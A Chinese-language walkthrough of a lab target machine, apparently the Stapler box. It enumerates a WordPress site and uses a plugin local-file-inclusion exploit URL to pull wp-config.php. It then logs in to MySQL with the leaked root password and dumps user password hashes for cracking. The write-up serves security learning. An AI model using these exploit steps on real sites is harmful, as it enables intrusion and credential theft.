網頁不會變,但只要把http換成https就會顯示出如下網頁:
同樣的,用https://192.168.44.227:12380/blogblog/
,來拜訪:
在這個網頁的最下方,有:
檢視原始碼第163行,https://192.168.44.227:12380/blogblog/wp-login.php
,可到以下網頁
<li><a href="https://192.168.44.227:12380/blogblog/wp-login.php?action=register">Register</a></li> <li><a href="https://192.168.44.227:12380/blogblog/wp-login.php">Log in</a></li>
總之就是一個wordpress網頁。可以使用wpscan來掃描:
sudo wpscan --url https://192.168.44.227:12380/blogblog/ --enumerate u1-100,ap --plugins-detection aggressive --disable-tls-checks
這裡使用--enumerate u,ap
,分別代表枚舉前100名帳戶名(u1-100),枚舉所有外掛程式(ap),并添加 --plugins-detection aggressive
参数指定主动扫描模式,否則也完全掃不到外掛。添加 --disable-tls-checks
参数忽略 TLS 检查,不然根本掃不出結果。
$ sudo wpscan --url https://192.168.44.227:12380/blogblog/ --enumerate u1-100,ap --plugins-detection aggressive --disable-tls-checks
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: https://192.168.44.227:12380/blogblog/ [192.168.44.227]
[+] Started: Tue Nov 1 16:22:07 2022
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.18 (Ubuntu)
| - Dave: Soemthing doesn't look right here
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: https://192.168.44.227:12380/blogblog/xmlrpc.php
| Found By: Headers (Passive Detection)
| Confidence: 100%
| Confirmed By:
| - Link Tag (Passive Detection), 30% confidence
| - Direct Access (Aggressive Detection), 100% confidence
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: https://192.168.44.227:12380/blogblog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Registration is enabled: https://192.168.44.227:12380/blogblog/wp-login.php?action=register
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: https://192.168.44.227:12380/blogblog/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: https://192.168.44.227:12380/blogblog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.2.1 identified (Insecure, released on 2015-04-27).
| Found By: Rss Generator (Passive Detection)
| - https://192.168.44.227:12380/blogblog/?feed=rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
| - https://192.168.44.227:12380/blogblog/?feed=comments-rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
[+] WordPress theme in use: bhost
| Location: https://192.168.44.227:12380/blogblog/wp-content/themes/bhost/
| Last Updated: 2022-10-30T00:00:00.000Z
| Readme: https://192.168.44.227:12380/blogblog/wp-content/themes/bhost/readme.txt
| [!] The version is out of date, the latest version is 1.6
| Style URL: https://192.168.44.227:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1
| Style Name: BHost
| Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme. This theme ...
| Author: Masum Billah
| Author URI: http://getmasum.net/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.2.9 (80% confidence)
| Found By: Style (Passive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1, Match: 'Version: 1.2.9'
[+] Enumerating All Plugins (via Aggressive Methods)
Checking Known Locations - Time: 00:03:44 <==================================> (100942 / 100942) 100.00% Time: 00:03:44
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] advanced-video-embed-embed-videos-or-playlists
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
| Latest Version: 1.0 (up to date)
| Last Updated: 2015-10-14T13:52:00.000Z
| Readme: https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/, status: 200
|
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
[+] akismet
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/akismet/
| Latest Version: 5.0.1
| Last Updated: 2022-09-28T15:27:00.000Z
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/akismet/, status: 403
|
| The version could not be determined.
[+] shortcode-ui
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/
| Last Updated: 2019-01-16T22:56:00.000Z
| Readme: https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
| [!] The version is out of date, the latest version is 0.7.4
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/, status: 200
|
| Version: 0.6.2 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
[+] two-factor
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/two-factor/
| Latest Version: 0.7.3
| Last Updated: 2022-10-17T15:56:00.000Z
| Readme: https://192.168.44.227:12380/blogblog/wp-content/plugins/two-factor/readme.txt
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/two-factor/, status: 200
|
| The version could not be determined.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:03 <========================================> (100 / 100) 100.00% Time: 00:00:03
[i] User(s) Identified:
[+] John Smith
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By: Rss Generator (Passive Detection)
[+] heather
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] peter
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] barry
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] john
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] garry
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] harry
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] kathy
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] tim
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] scott
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] zoe
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] simon
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] elly
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] dave
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] abby
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] vicki
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] pam
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Tue Nov 1 16:26:09 2022
[+] Requests Done: 101087
[+] Cached Requests: 63
[+] Data Sent: 30.122 MB
[+] Data Received: 13.679 MB
[+] Memory used: 519.211 MB
[+] Elapsed time: 00:04:02
首先來看看外掛:
[i] Plugin(s) Identified:
[+] advanced-video-embed-embed-videos-or-playlists
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
| Latest Version: 1.0 (up to date)
| Last Updated: 2015-10-14T13:52:00.000Z
| Readme: https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/, status: 200
|
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
[+] akismet
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/akismet/
| Latest Version: 5.0.1
| Last Updated: 2022-09-28T15:27:00.000Z
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/akismet/, status: 403
|
| The version could not be determined.
[+] shortcode-ui
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/
| Last Updated: 2019-01-16T22:56:00.000Z
| Readme: https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
| [!] The version is out of date, the latest version is 0.7.4
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/, status: 200
|
| Version: 0.6.2 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
[+] two-factor
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/two-factor/
| Latest Version: 0.7.3
| Last Updated: 2022-10-17T15:56:00.000Z
| Readme: https://192.168.44.227:12380/blogblog/wp-content/plugins/two-factor/readme.txt
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/two-factor/, status: 200
|
| The version could not be determined.
都有列出外掛所在位址,可以到https://192.168.44.227:12380/blogblog//wp-content/plugins/
看看。
外掛可能也是會有漏洞的,先點進第一個資料夾內:
查看readme.txt:
=== Advanced video embed ===
Contributors: arshmultani,meenakshi.php.developer,DScom
Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=Z7C7DNDD9VS3L
Tags: advanced video embed,youtube video embed,auto poster, wordpress youtube playlist maker,wordpress youtube playlists,wordpress youtube plugin,wordpress youtube embed,wordpress videos youtube,wordpress youtube video shortcode,wordpress youtube video as post,video embed , wordpress video embeding plugin,
Requires at least: 3.0.1
Tested up to: 3.3.1
Stable tag: 1.0
Version: 1.0
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Adavnced Video embed free version supports youtube video embed into your wordpress posts, with easy to use search panel along side you can also create youtube playlists within the search panel and generate its shortcode to use in posts
== Description ==
Adavnced Video embed free version supports youtube video embed into your wordpress posts, with easy to use search panel along side you can also create youtube playlists within the search panel and generate its shortcode to use in posts.
You can use biult in shortcode to view any youtube video in any post or page or sidebar anywhere you want just use the shortcode below with paramteres as well
Youtube video shortcode e.g: [ave_yt i="9bZkp7q19f0" rel="Yes" full="Yes" controls="Yes"]
Parameters :
* <b>i</b> is an youtube video id which is required.
* <b>rel</b> rel can be <b>Yes</b> or <b>No</b> or remove it to show relative videos normally | this parameters can be used to show or hide suggestion when video is over.
* <b>full</b> full can be <b>Yes</b> or <b>No</b> or remove it to allow full screen normally | this parameters can be used to allow or disallow the full screen mode of video.
* <b>controls</b> controls can be <b>Yes</b> or <b>No</b> or remove it to use controls normally
Youtube make videos id playlist : [ave_playlist ids="e-ORhEE9VVg,9bZkp7q19f0,0KSOMA3QBU0"]
Parameters :
* <b>ids</b> this parameter can include one or more id's divided by comma(,) and used in any post or page or anywhere.
You can also use the search panel By going into A.V.E SEARCH VIDEO section and search video by clicking on <b>View</b> an popup will open where you can generate an shortcode with parameters you want and also you can generate an playlist ,by clicking on <b>+ Playlist</b> button pn any video you can add it into an box , you can add as much video you want and then click on generate button along the input box and an shortcode will be generated for you to use in an post or page or anywhere in wordpress site.
Our agency website: <a href="http://www.dscom.it/">DScom.it/<a> our team <a href="http://dscom.it/team-communication-for-business-strategy-brescia/">DScom Team</a>
== Installation ==
1. Upload advanced_video_embed folder inside 'wp-content/plugins/'
2. Go to 'Plugins > Installed plugins' and activate the plugin.
3. Go to A.V.E Search video menu hover on it and then click on A.v.e settings and fill your api key.
== Screenshots ==
1. Search page screenshot
2. Playlist bar screenshot
3. Poup screenshot
可以發現它的版本號是1.0。先找找看有沒有它的攻擊腳本:
$ searchsploit advanced video
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
WordPress Plugin Advanced Video 1.0 - Local File Inclusion | php/webapps/39646.py
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
這個也是針對1.0,看來是bingo了。
要把它copy到我為打這靶機設立的資料夾,有searchsploit -m
指令:
$ cd target_machine/stapler/
$ ls
todo-list.txt vsftpd.conf wordpress-4.tar.gz
$ searchsploit -m 39646
Exploit: WordPress Plugin Advanced Video 1.0 - Local File Inclusion
URL: https://www.exploit-db.com/exploits/39646
Path: /usr/share/exploitdb/exploits/php/webapps/39646.py
File Type: Python script, ASCII text executable
Copied to: /home/nathan/target_machine/stapler/39646.py
$ ls
39646.py todo-list.txt vsftpd.conf wordpress-4.tar.gz
好,來解析一下這個python吧。
import random
import urllib2
import re
url = "http://127.0.0.1/wordpress" # insert url to wordpress
randomID = long(random.random() * 100000000000000000L)
objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
關鍵看這幾行就好。首先,url的http://127.0.0.1/wordpress
要改成https://192.168.44.227:12380/blogblog
,因為這才是在我這台機器上連到wordpress的網址。randomID是個17位亂碼,所以objHtml可以寫成一個實例:
https://192.168.44.227:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=26013192698497744&short=rnd&term=rnd&thumb=../wp-config.php
輸入這個網址後,會出現一個網址
不過連到這網址https://192.168.44.227:12380/blogblog/?p=210
後,只會跟你說找不到:
不過既然是LFI,那剛剛應該有做什麼動作,比如上載了什麼東西。所以先爆破目錄,猜可能藏在哪:
$ dirb https://192.168.44.227:12380/blogblog/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Nov 5 09:59:53 2022
URL_BASE: https://192.168.44.227:12380/blogblog/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: https://192.168.44.227:12380/blogblog/ ----
+ https://192.168.44.227:12380/blogblog/index.php (CODE:301|SIZE:0)
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-content/
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-includes/
+ https://192.168.44.227:12380/blogblog/xmlrpc.php (CODE:405|SIZE:42)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/ ----
+ https://192.168.44.227:12380/blogblog/wp-admin/admin.php (CODE:302|SIZE:0)
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/css/
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/images/
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/includes/
+ https://192.168.44.227:12380/blogblog/wp-admin/index.php (CODE:302|SIZE:0)
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/js/
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/maint/
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/network/
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/user/
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-content/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/network/ ----
+ https://192.168.44.227:12380/blogblog/wp-admin/network/admin.php (CODE:302|SIZE:0)
+ https://192.168.44.227:12380/blogblog/wp-admin/network/index.php (CODE:302|SIZE:0)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/user/ ----
+ https://192.168.44.227:12380/blogblog/wp-admin/user/admin.php (CODE:302|SIZE:0)
+ https://192.168.44.227:12380/blogblog/wp-admin/user/index.php (CODE:302|SIZE:0)
-----------------
END_TIME: Sat Nov 5 10:00:08 2022
DOWNLOADED: 18448 - FOUND: 8
就來看看wp-content:
可以發現有一個uploads資料夾是今天日期,點進去:
有個圖片檔,但點進去以後看不到東西:
把它下載下來:
$ wget https://192.168.44.227:12380/blogblog/wp-content/uploads/512237901.jpeg
--2022-11-05 10:10:27-- https://192.168.44.227:12380/blogblog/wp-content/uploads/512237901.jpeg
Connecting to 192.168.44.227:12380... connected.
ERROR: The certificate of ‘192.168.44.227’ is not trusted.
ERROR: The certificate of ‘192.168.44.227’ doesn't have a known issuer.
The certificate's owner does not match hostname ‘192.168.44.227’
$ wget https://192.168.44.227:12380/blogblog/wp-content/uploads/512237901.jpeg --no-check-certificate
--2022-11-05 10:11:44-- https://192.168.44.227:12380/blogblog/wp-content/uploads/512237901.jpeg
Connecting to 192.168.44.227:12380... connected.
WARNING: The certificate of ‘192.168.44.227’ is not trusted.
WARNING: The certificate of ‘192.168.44.227’ doesn't have a known issuer.
The certificate's owner does not match hostname ‘192.168.44.227’
HTTP request sent, awaiting response... 200 OK
Length: 3042 (3.0K) [image/jpeg]
Saving to: ‘512237901.jpeg’
512237901.jpeg 100%[=================================================>] 2.97K --.-KB/s in 0s
2022-11-05 10:11:44 (261 MB/s) - ‘512237901.jpeg’ saved [3042/3042]
記得wget要加上--no-check-certificate
這個參數。
看看圖片檔:
$ cat 512237901.jpeg
<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, and ABSPATH. You can find more information by visiting
* {@link https://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php}
* Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
* installation. You don't have to use the web site, you can just copy this file
* to "wp-config.php" and fill in the values.
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'plbkac');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', 'V 5p=[.Vds8~SX;>t)++Tt57U6{Xe`T|oW^eQ!mHr }]>9RX07W<sZ,I~`6Y5-T:');
define('SECURE_AUTH_KEY', 'vJZq=p.Ug,]:<-P#A|k-+:;JzV8*pZ|K/U*J][Nyvs+}&!/#>4#K7eFP5-av`n)2');
define('LOGGED_IN_KEY', 'ql-Vfg[?v6{ZR*+O)|Hf OpPWYfKX0Jmpl8zU<cr.wm?|jqZH:YMv;zu@tM7P:4o');
define('NONCE_KEY', 'j|V8J.~n}R2,mlU%?C8o2[~6Vo1{Gt+4mykbYH;HDAIj9TE?QQI!VW]]D`3i73xO');
define('AUTH_SALT', 'I{gDlDs`Z@.+/AdyzYw4%+<WsO-LDBHT}>}!||Xrf@1E6jJNV={p1?yMKYec*OI$');
define('SECURE_AUTH_SALT', '.HJmx^zb];5P}hM-uJ%^+9=0SBQEh[[*>#z+p>nVi10`XOUq (Zml~op3SG4OG_D');
define('LOGGED_IN_SALT', '[Zz!)%R7/w37+:9L#.=hL:cyeMM2kTx&_nP4{D}n=y=FQt%zJw>c[a+;ppCzIkt;');
define('NONCE_SALT', 'tb(}BfgB7l!rhDVm{eK6^MSN-|o]S]]axl4TE_y+Fi5I-RxN/9xeTsK]#ga_9:hJ');
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each a unique
* prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*/
define('WP_DEBUG', false);
/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');
define('WP_HTTP_BLOCK_EXTERNAL', true);
看來裡面的內容,是之前攻擊腳本內提到的wp-config.php
。這裡面提供了資料庫帳密:
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'plbkac');
依此登入資料庫:
$ mysql -u root -p -h 192.168.44.227
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 23
Server version: 5.7.12-0ubuntu1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
好,接下來試試上一次(KIOPTRIX: LEVEL 1.3 (#4))學到的姿勢,看能不能資料庫提權:
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| loot |
| mysql |
| performance_schema |
| phpmyadmin |
| proof |
| sys |
| wordpress |
+--------------------+
8 rows in set (51.390 sec)
MySQL [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [mysql]> select * from func;
Empty set (31.459 sec)
結果在select * from func;
這條指令顯示出來的是空的,所以沒辦法跟上次一樣用sys_eval
或sys_exec
來執行指令。
換wordpress資料庫來看看:
MySQL [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [mysql]> select * from func;
Empty set (31.459 sec)
MySQL [mysql]> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [wordpress]> select * from wp_users;
select * from wp_users;
顯示的欄位太多了,所以只顯示用戶名跟密碼:
MySQL [wordpress]> select user_login,user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| John | $P$B7889EMq/erHIuZapMB8GEizebcIy9. |
| Elly | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 |
| Peter | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 |
| barry | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 |
| heather | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 |
| garry | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 |
| harry | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 |
| scott | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 |
| kathy | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 |
| tim | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 |
| ZOE | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 |
| Dave | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. |
| Simon | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 |
| Abby | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. |
| Vicki | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 |
| Pam | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 |
+------------+------------------------------------+
16 rows in set (5.413 sec)
密碼看起來是被hash過,問題是它是用什麼hash演算法?
hash-identifier可以得到答案:
$ hash-identifier $P$B7889EMq/erHIuZapMB8GEizebcIy9.
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
Not Found.
--------------------------------------------------
HASH: $P$B7889EMq/erHIuZapMB8GEizebcIy9.
Possible Hashs:
[+] MD5(Wordpress)
--------------------------------------------------
是md5。
接下來就是解密。首先編輯一個1.txt
,內容就是剛剛的使用者跟密碼:
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| John | $P$B7889EMq/erHIuZapMB8GEizebcIy9. |
| Elly | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 |
| Peter | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 |
| barry | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 |
| heather | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 |
| garry | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 |
| harry | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 |
| scott | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 |
| kathy | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 |
| tim | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 |
| ZOE | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 |
| Dave | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. |
| Simon | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 |
| Abby | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. |
| Vicki | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 |
| Pam | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 |
+------------+------------------------------------+
因為現在只需要密碼,所以用以下指令,把1.txt
的密碼欄位複製到pass.txt
。
$ awk -F'|' '{print $3}' 1.txt > pass.txt
$ cat pass.txt
user_pass
$P$B7889EMq/erHIuZapMB8GEizebcIy9.
$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0
$P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0
$P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0
$P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10
